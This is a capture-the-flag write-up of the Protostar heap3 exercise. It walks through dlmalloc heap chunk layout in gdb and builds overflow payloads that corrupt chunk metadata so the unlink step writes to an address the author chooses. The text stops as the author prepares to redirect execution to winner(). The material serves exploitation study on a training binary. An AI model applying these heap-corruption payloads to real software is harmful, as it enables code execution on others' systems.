Protostar exploits Heap3

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/heap3 a b c
dynamite failed?

Exploit

Get the program to print “that wasn’t too bad now, was it?” message

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
 printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
 char *a, *b, *c;

 a = malloc(32);
 b = malloc(32);
 c = malloc(32);

 strcpy(a, argv[1]);
 strcpy(b, argv[2]);
 strcpy(c, argv[3]);

 free(c);
 free(b);
 free(a);

 printf("dynamite failed?\n");
}

Challenge clue, “This level introduces the Doug Lea Malloc (dlmalloc) and how heap meta data can be modified to change program execution.”

Additional sources of information for this type of heap exploitation:

http://gee.cs.oswego.edu/dl/html/malloc.html

http://etutorials.org/Networking/network+security+assessment/Chapter+13.+Application-Level+Risks/13.5+Heap+Overflows/

and http://phrack.org/issues/57/8.html

Section 3.3.1 has a very good diagram displaying the structure of the heap chunks.

I will break down the rest of this blog into the following steps to help put my spin on explaining how dlmalloc works and how to exploit it:

  1. Demonstrate the structure of the heap chunks for ‘heap3’ under normal condition
  2. Demonstrate and exploit the heap such that we can write data to any arbitrary memory location of our choice (that we have permission to)
  3. Exploit ‘heap3’ such that we can control the execution path

Normal heap behavior

We’ll start running firing up heap3 with Gnu Debugger

gdb$ q
user@protostar:~$ gdb /opt/protostar/bin/heap3 -q
Reading symbols from /opt/protostar/bin/heap3...done.

Set our break point on main and run with three argument of 32 ‘A’s, 32 ‘B’s and 32 ‘C’s

gdb$ b main
Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16.
gdb$ r `perl -e 'print "A"x32 . " " . "B"x32 . " " . "C"x32'`

Set break points on all malloc() and strcpy() calls

gdb$ b *0x8048899
gdb$ b *0x80488a9
gdb$ b *0x80488b9
gdb$ b *0x80488d5
gdb$ b *0x80488ed
gdb$ b *0x8048905

Let’s rerun the program and display the heap after every call to malloc()

I’ve highlighted each chunk

gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000fd9
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000fb1 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89

As documented, each chunk was allocated enough user space to accommodate 32 bytes data + 4 bytes for prev_size + 4 bytes size. Total of 40 (0x28) bytes. But chunk size shows 0x29. An extra bit flag (bit 1, PREV_INUSE) is set in the size field to indicate previous chunk is not free.

Let’s continue execution and break and display the chunks after strcpy() calls.

gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89

As expected, the data is copied to the user data allocated space within the chunk, no surprises there. The interesting part will be to see how the chunks change when free() is called.

Set some break points on free() and display the chunks.

gdb$ b *0x8048911
Breakpoint 11 at 0x8048911: file heap3/heap3.c, line 24.
gdb$ b *0x804891d
Breakpoint 12 at 0x804891d: file heap3/heap3.c, line 25.
gdb$ b *0x8048929
Breakpoint 13 at 0x8048929: file heap3/heap3.c, line 26.
gdb$ c
gdb$ n
gdb$ x /32w 0xx /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89

Free chunk at 0x804c050 is the only free chunk so fd (forward) pointer is null and bk (back) pointer not touched.

gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89

The next freed chunk at 0x804c028 is a little more interesting, its fd pointer clearly shows that address 0x0804c050 is the next free chunk.

gdb$ c
gdb$ n
gdb$ x /32w 0x0804C000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89

Same happens on this last freed chunk and the fd field points to 0x0804c028. Something else that you might have noticed after all these chunk were freed their size field hadn’t changed or the PREV_INUSE field.

write to memory location of our choice

We know that we can overflow any of the command line arguments to ‘heap3’ which would result in the heap chunks becoming corrupt. Can we corrupt the chunk meta data (bytes 1-16 sizes and in use and bytes 17-32 fd and bk pointers) such that dlmalloc’s unlink algorithm will write data to a location of our choice. Remember, we still haven’t mentioned code execution yet.

Our first experiment will be to see if we can corrupt chunk b’s size field to see what happens.

From the knowledge we have gained from reading the documentation, we can deduce that some conditions must first be met trick dlmalloc’s unlink on any given chunk

  1. The chunk that we want to leverage must fool dlmalloc into thinking it’s a free chunk so that the dlmalloc will think the chunk is stored in the doubly-linked list
  2. We have to be watchful of null bytes as this will effect the strcpy() calls

Let’s start by sending the following payload

"A"x32 . "\xfc\xff\xff\xff" . "\xf8\xff\xff\xff " . "BBBBDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" . " " . "C"

We are overwriting chunk b’s prev_size field with ‘fffffffc’ = -4 (two’s complement)

4 = 0000000000000000000000000000100

invert

11111111111111111111111111111011

+ 1

11111111111111111111111111111100 = 0xFFFFFFFC = -4

chunk b’s size field and status fields will be overwritten with ‘fffffff8 = -8 = 11111111111111111111111111111000

Let’s rerun the the program and see what happens

gdb$ r `perl -e 'print "A"x32 . "\xfc\xff\xff\xff" . "\xf8\xff\xff\xff " . "BBBBDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" . " " . "C"'`

...
gdb$ 

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x44444444 EBX: 0xB7FD7FF4 ECX: 0x00000000 EDX: 0x45454545 o d I t s z a p c 
 ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF748 ESP: 0xBFFFF700 EIP: 0x080498FD
 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[0x007B:0xBFFFF700]------------------------------------------------------[stack]
0xBFFFF750 : 30 C0 04 08 A3 F9 FF BF - 50 AB 04 08 78 F7 FF BF 0.......P...x...
0xBFFFF740 : 00 00 00 00 00 00 00 00 - 78 F7 FF BF 22 89 04 08 ........x..."...
0xBFFFF730 : 45 45 45 45 44 44 44 44 - 89 0F 00 00 E0 9D F0 B7 EEEEDDDD........
0xBFFFF720 : 20 C0 04 08 40 41 41 41 - 00 00 00 00 FC FF FF FF ...@AAA........
0xBFFFF710 : 60 B1 04 08 2C C0 04 08 - F4 FF FF FF 70 B1 04 08 `...,.......p...
0xBFFFF700 : 28 1B FE B7 01 00 00 00 - 01 00 00 00 00 00 00 00 (...............
[0x007B:0xBFFFF700]-------------------------------------------------------[data]
0xBFFFF700 : 28 1B FE B7 01 00 00 00 - 01 00 00 00 00 00 00 00 (...............
0xBFFFF710 : 60 B1 04 08 2C C0 04 08 - F4 FF FF FF 70 B1 04 08 `...,.......p...
0xBFFFF720 : 20 C0 04 08 40 41 41 41 - 00 00 00 00 FC FF FF FF ...@AAA........
0xBFFFF730 : 45 45 45 45 44 44 44 44 - 89 0F 00 00 E0 9D F0 B7 EEEEDDDD........
0xBFFFF740 : 00 00 00 00 00 00 00 00 - 78 F7 FF BF 22 89 04 08 ........x..."...
0xBFFFF750 : 30 C0 04 08 A3 F9 FF BF - 50 AB 04 08 78 F7 FF BF 0.......P...x...
0xBFFFF760 : 65 63 EC B7 08 C0 04 08 - 30 C0 04 08 58 C0 04 08 ec......0...X...
0xBFFFF770 : 50 AB 04 08 00 00 00 00 - F8 F7 FF BF 76 DC EA B7 P...........v...
0xBFFFF780 : 04 00 00 00 24 F8 FF BF - 38 F8 FF BF 48 18 FE B7 ....$...8...H...
0xBFFFF790 : E0 F7 FF BF FF FF FF FF - F4 EF FF B7 76 85 04 08 ............v...
0xBFFFF7A0 : 01 00 00 00 E0 F7 FF BF - 26 06 FF B7 B0 FA FF B7 ........&.......
0xBFFFF7B0 : 28 1B FE B7 F4 7F FD B7 - 00 00 00 00 00 00 00 00 (...............
0xBFFFF7C0 : F8 F7 FF BF F3 1D 91 DD - E3 6B C6 F7 00 00 00 00 .........k......
0xBFFFF7D0 : 00 00 00 00 00 00 00 00 - 04 00 00 00 B0 87 04 08 ................
0xBFFFF7E0 : 00 00 00 00 10 62 FF B7 - 9B DB EA B7 F4 EF FF B7 .....b..........
0xBFFFF7F0 : 04 00 00 00 B0 87 04 08 - 00 00 00 00 D1 87 04 08 ................
0xBFFFF800 : 89 88 04 08 04 00 00 00 - 24 F8 FF BF 50 AB 04 08 ........$...P...
0xBFFFF810 : 40 AB 04 08 40 10 FF B7 - 1C F8 FF BF F8 F8 FF B7 @...@...........
0xBFFFF820 : 04 00 00 00 40 F9 FF BF - 59 F9 FF BF 82 F9 FF BF ....@...Y.......
0xBFFFF830 : A3 F9 FF BF 00 00 00 00 - A5 F9 FF BF AF F9 FF BF ................
0xBFFFF840 : D0 F9 FF BF E4 F9 FF BF - EC F9 FF BF FC F9 FF BF ................
0xBFFFF850 : 0F FA FF BF 1C FA FF BF - 2B FA FF BF 36 FA FF BF ........+...6...
--------------------------------------------------------------------------
0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx
0x8049900 <free+220>: mov eax,DWORD PTR [ebp-0x18]
0x8049903 <free+223>: mov edx,DWORD PTR [ebp-0x14]
0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx
0x8049909 <free+229>: mov eax,DWORD PTR [ebp-0x38]
0x804990c <free+232>: mov eax,DWORD PTR [eax+0x2c]
0x804990f <free+235>: cmp eax,DWORD PTR [ebp-0x28]
0x8049912 <free+238>: je 0x80499b6 <free+402>
0x8049918 <free+244>: mov eax,DWORD PTR [ebp-0x24]
0x804991b <free+247>: mov edx,DWORD PTR [ebp-0x28]
0x804991e <free+250>: lea eax,[edx+eax*1]
0x8049921 <free+253>: mov eax,DWORD PTR [eax+0x4]
0x8049924 <free+256>: and eax,0x1
0x8049927 <free+259>: mov DWORD PTR [ebp-0x20],eax
0x804992a <free+262>: mov eax,DWORD PTR [ebp-0x28]
0x804992d <free+265>: mov edx,DWORD PTR [ebp-0x24]
0x8049930 <free+268>: mov DWORD PTR [eax+0x4],edx
0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0
0x8049937 <free+275>: jne 0x8049963 <free+319>
0x8049939 <free+277>: mov eax,DWORD PTR [ebp-0x28]
0x804993c <free+280>: mov eax,DWORD PTR [eax+0x8]
0x804993f <free+283>: mov DWORD PTR [ebp-0x14],eax
--------------------------------------------------------------------------------
0x080498fd in free (mem=0x804c030) at common/malloc.c:3638
3638 common/malloc.c: No such file or directory.
 in common/malloc.c

gdb$ x /32w 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0xfffffffc 0xfffffff8
0x804c030: 0x42424242 0x44444444 0x45454545 0x46464646
0x804c040: 0x47474747 0x48484848 0x49494949 0x4a4a4a4a
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89

As we run through the program seg faulted when free() was called on chunk b.

The instruction that caused the fault was mov DWORD PTR [eax+0xc],edx

So the contents of edx = 0x45454545 was being copied to a location stored at 0x44444444 + 0xc which is a memory violation.

But we can see that dlmalloc is trying to copy the contents of our payload to some location we might be able to specify. Cool.

I wonder what would happen if we change the prev_size field value from -4 to -8

gdb$ r `perl -e 'print "A"x32 . "\xf8\xff\xff\xff" . "\xf8\xff\xff\xff " . "BBBBDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" . " " . "C"'`
gdb$ 

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x45454545 EBX: 0xB7FD7FF4 ECX: 0x00000000 EDX: 0x46464646 o d I t s z A P c 
 ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF748 ESP: 0xBFFFF700 EIP: 0x080498FD
 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[0x007B:0xBFFFF700]------------------------------------------------------[stack]
0xBFFFF750 : 30 C0 04 08 A3 F9 FF BF - 50 AB 04 08 78 F7 FF BF 0.......P...x...
0xBFFFF740 : 00 00 00 00 00 00 00 00 - 78 F7 FF BF 22 89 04 08 ........x..."...
0xBFFFF730 : 46 46 46 46 45 45 45 45 - 89 0F 00 00 E0 9D F0 B7 FFFFEEEE........
0xBFFFF720 : 20 C0 04 08 40 41 41 41 - 00 00 00 00 F8 FF FF FF ...@AAA........
0xBFFFF710 : 60 B1 04 08 30 C0 04 08 - F0 FF FF FF 70 B1 04 08 `...0.......p...
0xBFFFF700 : 28 1B FE B7 01 00 00 00 - 01 00 00 00 00 00 00 00 (...............
[0x007B:0xBFFFF700]-------------------------------------------------------[data]
0xBFFFF700 : 28 1B FE B7 01 00 00 00 - 01 00 00 00 00 00 00 00 (...............
0xBFFFF710 : 60 B1 04 08 30 C0 04 08 - F0 FF FF FF 70 B1 04 08 `...0.......p...
0xBFFFF720 : 20 C0 04 08 40 41 41 41 - 00 00 00 00 F8 FF FF FF ...@AAA........
0xBFFFF730 : 46 46 46 46 45 45 45 45 - 89 0F 00 00 E0 9D F0 B7 FFFFEEEE........
0xBFFFF740 : 00 00 00 00 00 00 00 00 - 78 F7 FF BF 22 89 04 08 ........x..."...
0xBFFFF750 : 30 C0 04 08 A3 F9 FF BF - 50 AB 04 08 78 F7 FF BF 0.......P...x...
0xBFFFF760 : 65 63 EC B7 08 C0 04 08 - 30 C0 04 08 58 C0 04 08 ec......0...X...
0xBFFFF770 : 50 AB 04 08 00 00 00 00 - F8 F7 FF BF 76 DC EA B7 P...........v...
0xBFFFF780 : 04 00 00 00 24 F8 FF BF - 38 F8 FF BF 48 18 FE B7 ....$...8...H...
0xBFFFF790 : E0 F7 FF BF FF FF FF FF - F4 EF FF B7 76 85 04 08 ............v...
0xBFFFF7A0 : 01 00 00 00 E0 F7 FF BF - 26 06 FF B7 B0 FA FF B7 ........&.......
0xBFFFF7B0 : 28 1B FE B7 F4 7F FD B7 - 00 00 00 00 00 00 00 00 (...............
0xBFFFF7C0 : F8 F7 FF BF 92 F7 BF A8 - 82 81 E8 82 00 00 00 00 ................
0xBFFFF7D0 : 00 00 00 00 00 00 00 00 - 04 00 00 00 B0 87 04 08 ................
0xBFFFF7E0 : 00 00 00 00 10 62 FF B7 - 9B DB EA B7 F4 EF FF B7 .....b..........
0xBFFFF7F0 : 04 00 00 00 B0 87 04 08 - 00 00 00 00 D1 87 04 08 ................
0xBFFFF800 : 89 88 04 08 04 00 00 00 - 24 F8 FF BF 50 AB 04 08 ........$...P...
0xBFFFF810 : 40 AB 04 08 40 10 FF B7 - 1C F8 FF BF F8 F8 FF B7 @...@...........
0xBFFFF820 : 04 00 00 00 40 F9 FF BF - 59 F9 FF BF 82 F9 FF BF ....@...Y.......
0xBFFFF830 : A3 F9 FF BF 00 00 00 00 - A5 F9 FF BF AF F9 FF BF ................
0xBFFFF840 : D0 F9 FF BF E4 F9 FF BF - EC F9 FF BF FC F9 FF BF ................
0xBFFFF850 : 0F FA FF BF 1C FA FF BF - 2B FA FF BF 36 FA FF BF ........+...6...
--------------------------------------------------------------------------
0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx
0x8049900 <free+220>: mov eax,DWORD PTR [ebp-0x18]
0x8049903 <free+223>: mov edx,DWORD PTR [ebp-0x14]
0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx
0x8049909 <free+229>: mov eax,DWORD PTR [ebp-0x38]
0x804990c <free+232>: mov eax,DWORD PTR [eax+0x2c]
0x804990f <free+235>: cmp eax,DWORD PTR [ebp-0x28]
0x8049912 <free+238>: je 0x80499b6 <free+402>
0x8049918 <free+244>: mov eax,DWORD PTR [ebp-0x24]
0x804991b <free+247>: mov edx,DWORD PTR [ebp-0x28]
0x804991e <free+250>: lea eax,[edx+eax*1]
0x8049921 <free+253>: mov eax,DWORD PTR [eax+0x4]
0x8049924 <free+256>: and eax,0x1
0x8049927 <free+259>: mov DWORD PTR [ebp-0x20],eax
0x804992a <free+262>: mov eax,DWORD PTR [ebp-0x28]
0x804992d <free+265>: mov edx,DWORD PTR [ebp-0x24]
0x8049930 <free+268>: mov DWORD PTR [eax+0x4],edx
0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0
0x8049937 <free+275>: jne 0x8049963 <free+319>
0x8049939 <free+277>: mov eax,DWORD PTR [ebp-0x28]
0x804993c <free+280>: mov eax,DWORD PTR [eax+0x8]
0x804993f <free+283>: mov DWORD PTR [ebp-0x14],eax
--------------------------------------------------------------------------------
0x080498fd in free (mem=0x804c030) at common/malloc.c:3638
3638 common/malloc.c: No such file or directory.
 in common/malloc.c

It appears that the contents of EAX and EDX changed 4 bytes further into chunk b. Not useful for this exercise but insightful non the less.

So these value being read into eax and edx must be the fd and bk pointer fields.

Let’s generate a new payload with a valid memory location for EAX. We’ll change ‘DDDD’ to some location in chunk ‘a’

gdb$r `perl -e 'print "A"x32 . "\xfc\xff\xff\xff" . "\xf8\xff\xff\xff " . "BBBB\x10\xc0\x04\x08EEEEFFFFGGGGHHHHIIIIJJJJ" . " " . "C"'`
gdb$ c

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x45454545 EBX: 0xB7FD7FF4 ECX: 0x00000000 EDX: 0x0804C010 o d I t s z a p c 
 ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF748 ESP: 0xBFFFF700 EIP: 0x08049906
 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[0x007B:0xBFFFF700]------------------------------------------------------[stack]
0xBFFFF750 : 30 C0 04 08 A3 F9 FF BF - 50 AB 04 08 78 F7 FF BF 0.......P...x...
0xBFFFF740 : 00 00 00 00 00 00 00 00 - 78 F7 FF BF 22 89 04 08 ........x..."...
0xBFFFF730 : 45 45 45 45 10 C0 04 08 - 89 0F 00 00 E0 9D F0 B7 EEEE............
0xBFFFF720 : 20 C0 04 08 40 41 41 41 - 00 00 00 00 FC FF FF FF ...@AAA........
0xBFFFF710 : 60 B1 04 08 2C C0 04 08 - F4 FF FF FF 70 B1 04 08 `...,.......p...
0xBFFFF700 : 28 1B FE B7 01 00 00 00 - 01 00 00 00 00 00 00 00 (...............
[0x007B:0xBFFFF700]-------------------------------------------------------[data]
0xBFFFF700 : 28 1B FE B7 01 00 00 00 - 01 00 00 00 00 00 00 00 (...............
0xBFFFF710 : 60 B1 04 08 2C C0 04 08 - F4 FF FF FF 70 B1 04 08 `...,.......p...
0xBFFFF720 : 20 C0 04 08 40 41 41 41 - 00 00 00 00 FC FF FF FF ...@AAA........
0xBFFFF730 : 45 45 45 45 10 C0 04 08 - 89 0F 00 00 E0 9D F0 B7 EEEE............
0xBFFFF740 : 00 00 00 00 00 00 00 00 - 78 F7 FF BF 22 89 04 08 ........x..."...
0xBFFFF750 : 30 C0 04 08 A3 F9 FF BF - 50 AB 04 08 78 F7 FF BF 0.......P...x...
0xBFFFF760 : 65 63 EC B7 08 C0 04 08 - 30 C0 04 08 58 C0 04 08 ec......0...X...
0xBFFFF770 : 50 AB 04 08 00 00 00 00 - F8 F7 FF BF 76 DC EA B7 P...........v...
0xBFFFF780 : 04 00 00 00 24 F8 FF BF - 38 F8 FF BF 48 18 FE B7 ....$...8...H...
0xBFFFF790 : E0 F7 FF BF FF FF FF FF - F4 EF FF B7 76 85 04 08 ............v...
0xBFFFF7A0 : 01 00 00 00 E0 F7 FF BF - 26 06 FF B7 B0 FA FF B7 ........&.......
0xBFFFF7B0 : 28 1B FE B7 F4 7F FD B7 - 00 00 00 00 00 00 00 00 (...............
0xBFFFF7C0 : F8 F7 FF BF 02 A3 A7 72 - 12 D5 F0 58 00 00 00 00 .......r...X....
0xBFFFF7D0 : 00 00 00 00 00 00 00 00 - 04 00 00 00 B0 87 04 08 ................
0xBFFFF7E0 : 00 00 00 00 10 62 FF B7 - 9B DB EA B7 F4 EF FF B7 .....b..........
0xBFFFF7F0 : 04 00 00 00 B0 87 04 08 - 00 00 00 00 D1 87 04 08 ................
0xBFFFF800 : 89 88 04 08 04 00 00 00 - 24 F8 FF BF 50 AB 04 08 ........$...P...
0xBFFFF810 : 40 AB 04 08 40 10 FF B7 - 1C F8 FF BF F8 F8 FF B7 @...@...........
0xBFFFF820 : 04 00 00 00 40 F9 FF BF - 59 F9 FF BF 82 F9 FF BF ....@...Y.......
0xBFFFF830 : A3 F9 FF BF 00 00 00 00 - A5 F9 FF BF AF F9 FF BF ................
0xBFFFF840 : D0 F9 FF BF E4 F9 FF BF - EC F9 FF BF FC F9 FF BF ................
0xBFFFF850 : 0F FA FF BF 1C FA FF BF - 2B FA FF BF 36 FA FF BF ........+...6...
--------------------------------------------------------------------------
0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx
0x8049909 <free+229>: mov eax,DWORD PTR [ebp-0x38]
0x804990c <free+232>: mov eax,DWORD PTR [eax+0x2c]
0x804990f <free+235>: cmp eax,DWORD PTR [ebp-0x28]
0x8049912 <free+238>: je 0x80499b6 <free+402>
0x8049918 <free+244>: mov eax,DWORD PTR [ebp-0x24]
0x804991b <free+247>: mov edx,DWORD PTR [ebp-0x28]
0x804991e <free+250>: lea eax,[edx+eax*1]
0x8049921 <free+253>: mov eax,DWORD PTR [eax+0x4]
0x8049924 <free+256>: and eax,0x1
0x8049927 <free+259>: mov DWORD PTR [ebp-0x20],eax
0x804992a <free+262>: mov eax,DWORD PTR [ebp-0x28]
0x804992d <free+265>: mov edx,DWORD PTR [ebp-0x24]
0x8049930 <free+268>: mov DWORD PTR [eax+0x4],edx
0x8049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0
0x8049937 <free+275>: jne 0x8049963 <free+319>
0x8049939 <free+277>: mov eax,DWORD PTR [ebp-0x28]
0x804993c <free+280>: mov eax,DWORD PTR [eax+0x8]
0x804993f <free+283>: mov DWORD PTR [ebp-0x14],eax
0x8049942 <free+286>: mov eax,DWORD PTR [ebp-0x28]
0x8049945 <free+289>: mov eax,DWORD PTR [eax+0xc]
0x8049948 <free+292>: mov DWORD PTR [ebp-0x18],eax
--------------------------------------------------------------------------------
0x08049906 in free (mem=0x804c030) at common/malloc.c:3638
3638 common/malloc.c: No such file or directory.
 in common/malloc.c

We sig faulted once more. Look closely and you will see that we have progressed further into free().

This time the instruction ‘mov DWORD PTR [eax+0x8],edx’ failed

0x0804C010 was trying to be copied to memory location 0x45454545, memory violation again.

At this stage I ran into some trouble and found that if size field was less than the prev_size field I would continue sig faulting. By making the chunks size field great than prev_size I had more success.

I found that if I set the prev_size and size fields to -4 I could get dlmalloc to write to a location of my choice. Where ‘DDDD’ and ‘EEEE’ tags are where I specified the addresses 0x0804c084 and 0x0804c080

gdb$ r `perl -e 'print "A"x32 . "\xfc\xff\xff\xff" . "\xfc\xff\xff\xff " . "BBBB\x84\xc0\x04\x08\x80\xc0\x04\x08FFFFGGGGHHHHIIIIJJJJ" . " " . "C"'`

... Continue execution up to chunk b free() call
gdb$ x /32w 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0xfffffffc 0xfffffffc
0x804c030: 0x42424242 0x0804c084 0x0804c080 0x46464646
0x804c040: 0x47474747 0x48484848 0x49494949 0x4a4a4a4a
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
.... free() now gets called on chunk b
gdb$ c
gdb$ x /32w 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0xfffffff8 0xfffffffc 0xfffffffc
0x804c030: 0xfffffff9 0x0804b194 0x0804b194 0x46464646
0x804c040: 0x47474747 0x48484848 0x49494949 0x4a4a4a4a
0x804c050: 0x00000000 0x00000fb1 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
gdb$ x /32w 0xx /32w 0x804c080
0x804c080: 0x00000000 0x00000000 0x0804c084 0x00000000
0x804c090: 0x0804c080 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000

No sig fault and we appear to have something written to location 0x804c090. This corresponds to our previous attempt when edx was being copied to a location in eax + 0xc,  0x804c090 – 0xc = 0x804c084

The second location is a difference of 0x8, 0x804c080 + 0x8 =0x804c088

So what we have are two locations in memory that contain the original values that we specified (plus offsets of 0xc and 0x8) of the other’s value.

Let’s try one more proof of concept. Let’s pick a memory location to write the value of the winner() function’s memory location.

gdb$ print winner
$3 = {void (void)} 0x8048864 <winner>

Let’s write 0x8048864 <winner> to memory location 0x0804c080 (0x0804c074 + 0xc = 0x0804c080).

